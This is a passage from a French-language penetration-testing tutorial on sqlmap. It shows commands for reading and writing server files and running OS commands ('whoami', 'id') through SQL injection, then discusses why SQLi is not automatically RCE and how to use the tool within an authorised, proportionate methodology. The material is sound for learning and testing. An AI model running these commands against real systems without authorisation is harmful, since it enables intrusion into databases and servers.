Cependant, une injection SQL ne signifie pas automatiquement une exécution de commandes sur le système d’exploitation.

Plusieurs conditions doivent être réunies : le DBMS doit proposer une fonctionnalité exploitable, la technique d’injection doit permettre l’opération nécessaire et l’utilisateur SQL doit disposer de privilèges suffisants.

Lire un fichier avec –file-read

Sqlmap peut tenter de lire un fichier accessible depuis le système de fichiers du serveur :

python sqlmap.py \
  -r request.txt \
  --file-read="/etc/hostname"

Cette capacité est documentée pour plusieurs DBMS, notamment MySQL, PostgreSQL, Microsoft SQL Server, Oracle et H2 lorsque les privilèges nécessaires sont disponibles.

Dans un pentest, la lecture d’un fichier non sensible peut suffire à démontrer que l’injection permet de sortir du périmètre strict des données applicatives. Il n’est généralement pas nécessaire de récupérer arbitrairement des fichiers sensibles pour confirmer l’impact.

Écrire un fichier avec –file-write et –file-dest

Sqlmap propose également des mécanismes d’écriture de fichier :

python sqlmap.py \
  -r request.txt \
  --file-write="./proof.txt" \
  --file-dest="/tmp/proof.txt"

Cette possibilité dépend du DBMS, de sa configuration, du système d’exploitation et des privilèges du compte SQL.

Elle doit être utilisée avec prudence car elle modifie l’environnement audité. Une preuve d’impact doit rester proportionnée aux objectifs et règles définis pour la mission.

Exécuter une commande avec –os-cmd

Dans certaines configurations, sqlmap peut utiliser les fonctionnalités du DBMS pour exécuter une commande sur le système d’exploitation.

Un test de validation limité peut par exemple utiliser :

python sqlmap.py \
  -r request.txt \
  --os-cmd="whoami"

ou sur un système Unix :

python sqlmap.py \
  -r request.txt \
  --os-cmd="id"

Sqlmap documente cette capacité pour MySQL, PostgreSQL, Microsoft SQL Server et H2 lorsque les conditions techniques et les privilèges sont réunis.

L’obtention de la sortie d’une commande constitue déjà une preuve d’impact importante. La poursuite de la post-exploitation doit donc être directement liée au périmètre autorisé.

Pourquoi une SQLi ne signifie pas automatiquement RCE

Une confusion fréquente consiste à considérer qu’une SQLi critique conduit nécessairement à une exécution de commandes.

Dans la réalité, plusieurs barrières peuvent l’empêcher. Le compte SQL peut ne pas être administrateur. Les fonctions nécessaires peuvent être désactivées. Le DBMS peut s’exécuter avec un utilisateur système très restreint. Le système de fichiers peut ne pas être accessible. La technique d’injection elle-même peut aussi ne permettre que des opérations en lecture.

L’analyse d’impact doit donc distinguer clairement les capacités effectivement démontrées de celles qui seraient uniquement théoriques.

Comment intégrer sqlmap dans une méthodologie de pentest ?

Sqlmap est parfois utilisé comme un scanner auquel on fournit une URL avec un maximum d’options. Cette approche n’est ni la plus efficace ni la plus représentative d’un pentest manuel.

L’auditeur commence généralement par comprendre la fonctionnalité testée : quelles données sont envoyées, comment elles sont transformées, quelles réponses sont retournées et quelles parties de l’application semblent interagir avec une base de données.

Lorsqu’un comportement suspect apparaît, il peut tester manuellement quelques variations simples afin de déterminer si une valeur influence réellement la requête. Cette phase permet souvent d’identifier le contexte syntaxique, de soupçonner un DBMS ou de déterminer si une réponse varie selon une condition vraie ou fausse.

Sqlmap intervient ensuite comme outil d’automatisation. Il permet de confirmer plus largement le point d’injection, de reproduire les tests et surtout d’automatiser les opérations qui nécessiteraient des dizaines, centaines ou milliers de requêtes à la main.

Cette approche réduit le trafic inutile et facilite le diagnostic lorsque l’outil échoue. Elle permet également de garder le contrôle sur l’impact du test.

Il n’est par exemple pas nécessaire d’utiliser :

--dump-all

simplement parce que l’option existe. Quelques lignes provenant d’une table représentative peuvent suffire à démontrer qu’un attaquant pourrait accéder à des informations sensibles.

De la même manière, obtenir une exécution contrôlée de whoami ou id peut suffire à démontrer une exécution de commandes sans poursuivre inutilement la post-exploitation.

Sqlmap doit donc être considéré comme un outil d’automatisation au service d’une méthodologie de pentest, et non comme un substitut à cette méthodologie.

Conclusion

Sqlmap est l’un des outils de référence pour la détection et l’exploitation des injections SQL. Sa puissance repose avant tout sur sa capacité à automatiser des opérations longues et répétitives : tester plusieurs techniques, identifier le DBMS, exploiter des blind SQLi, explorer la structure d’une base et récupérer des informations de manière ciblée.

Ses possibilités vont toutefois beaucoup plus loin. Sqlmap peut travailler à partir de requêtes authentifiées, manipuler des cookies et des headers, gérer des tokens CSRF, reproduire des injections de second ordre ou adapter ses payloads à certains mécanismes de filtrage. Lorsque le DBMS et les privilèges le permettent, il peut également interagir avec le système de fichiers ou exécuter des commandes sur le serveur.

Cette richesse fonctionnelle ne doit pas conduire à utiliser l’outil sans discernement.

Dans un pentest, sqlmap est particulièrement efficace lorsqu’il intervient après une première phase d’analyse manuelle. Comprendre la requête vulnérable, identifier précisément le point d’injection, choisir les techniques pertinentes et limiter l’exploitation aux informations nécessaires permet d’obtenir des résultats plus fiables tout en réduisant le trafic et les risques sur l’environnement audité.

Maîtriser sqlmap ne consiste donc pas à connaître par cœur plusieurs dizaines d’options. Il s’agit surtout de comprendre suffisamment bien les injections SQL pour savoir quand, pourquoi et comment utiliser chacune de ses fonctionnalités.